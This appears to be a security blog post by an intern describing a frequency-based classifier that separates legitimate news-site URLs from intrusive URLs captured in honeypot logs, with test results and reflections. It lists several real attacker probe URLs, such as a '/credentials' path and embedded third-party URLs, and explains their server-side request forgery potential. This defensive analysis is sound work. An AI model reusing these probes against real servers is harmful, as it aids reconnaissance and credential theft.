As a reminder for clarity, the test data was set aside and not used to generate the legit/intrusive datasets, but the data comes from the same sources so it is known which category the frequency classifier "should" come up with. This provides a way to check the classifier against known data.

The code blocks below run the function on the legit and intrusive test data files, listing the percentage of each the classifier found. An ideal score would be 100% of URLs predicted Legit for the legitimate URL test data and similar for the intrusive URL test data.

# Test data for Legit files are items 5-6

print("Test data results for Legitimate Files\n",50*'-')
for file in legit_files[len(legit_files)-2:] :
    frequency_classifier(file)

print("\nTest data results for Intrusive Files\n",50*'-')
for file in intrusive_files[len(intrusive_files)-5:] :
    frequency_classifier(file)
Test data results for Legitimate Files
 --------------------------------------------------
File Name: ./Attack Observations/Project/Legit/sitemap_2023_01_31_washingtonpost_com_cleaned.csv
Total URLs in the file: 847794
Predicted Legit URLs: 847792    Percentage: 100.00%
Predicted Intrusive URLs: 2     Percent Intrusive: 0.00%

File Name: ./Attack Observations/Project/Legit/sitemap_2023_03_16_economist_com_cleaned.csv
Total URLs in the file: 190424
Predicted Legit URLs: 190424    Percentage: 100.00%
Predicted Intrusive URLs: 0     Percent Intrusive: 0.00%

Test data results for Intrusive Files
 --------------------------------------------------
File Name: ./Attack Observations/Project/Intrusive/404reports_2025-03-15.csv
Total URLs in the file: 591
Predicted Legit URLs: 128       Percentage: 21.66%
Predicted Intrusive URLs: 463   Percent Intrusive: 78.34%

File Name: ./Attack Observations/Project/Intrusive/404reports_2025-03-16.csv
Total URLs in the file: 137
Predicted Legit URLs: 10        Percentage: 7.30%
Predicted Intrusive URLs: 127   Percent Intrusive: 92.70%

File Name: ./Attack Observations/Project/Intrusive/404reports_2025-03-17.csv
Total URLs in the file: 579
Predicted Legit URLs: 2 Percentage: 0.35%
Predicted Intrusive URLs: 577   Percent Intrusive: 99.65%

File Name: ./Attack Observations/Project/Intrusive/404reports_2025-03-18.csv
Total URLs in the file: 1366
Predicted Legit URLs: 2 Percentage: 0.15%
Predicted Intrusive URLs: 1364  Percent Intrusive: 99.85%

File Name: ./Attack Observations/Project/Intrusive/404reports_2025-03-19.csv
Total URLs in the file: 348
Predicted Legit URLs: 2 Percentage: 0.57%
Predicted Intrusive URLs: 346   Percent Intrusive: 99.43%

Analysis of Test Results

The test runs showed that a simple frequency comparison of words or phrases contained in the suffix of legitimate URLs seemed to accurately predict a legitimate URL was in fact legitimate. However, the intrusive tests proved much less accurate. Specifically the URL links contained in web honeypot logs on March 15 and March 16 contained significant classification errors.

I performed an in-depth analysis of the files in question, utilizing a code block to print out those URLs the classifier had labelled as legitimate even though they were in the known intrusive test set. I was rather put off to discover a few of these URLs made it past the frequency classifier:

URL: http://api.ipify.org/      LEGIT  number 108
URL: /credentials       LEGIT  number 109
URL: /robots.txt        LEGIT  number 110
URL: /ping_pong.php     LEGIT  number 111
URL: /robots.txt        LEGIT  number 112
URL: http://api.ipify.org/      LEGIT  number 113
URL: http://the-cat.click/validate      LEGIT  number 114

This means that a URL like /robots.txt is was not in the training data that built the word dictionaries and highlights the potential for incomplete data when using only one source (in this case DShield logs). A larger disappointment to me was the presence of other URLs within the URL suffix. These represent the opportunity to perform server side request forgeries which can be used to reveal restricted information, have the server request something from a 3rd party that trusts it on behalf of the attacker, or even reveal instance metadata (in the case of a cloud based server or container).

Final Thoughts

The frequency classifier performed well on for a first time run by an admitted rookie to intrusion analysis. Though simple, it proved to be useful and different way for me to gain experience as part of my internship program and this is only the beginning. There are several weaknesses I need to address, among them: the extremely broad set of legitimate URL structures out there, my simplistic regular expression that parses the URLs, and the statistical model used. I plan to improve upon the experiment, attempting more sophisticated models as I gain experience in both intrusion analysis and machine learning techniques. 

As a final note, I would like to acknowledge the work of SANS Instructor David Hoelzer in authoring the material for SEC595. It is this work that provided me the idea and starting point to attempt techniques from those class labs to apply to my DShield we

[1] https://www.sans.org/cyber-security-courses/applied-data-science-machine-learning/
[2] https://www.sans.edu/cyber-security-programs/bachelors-degree/
-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu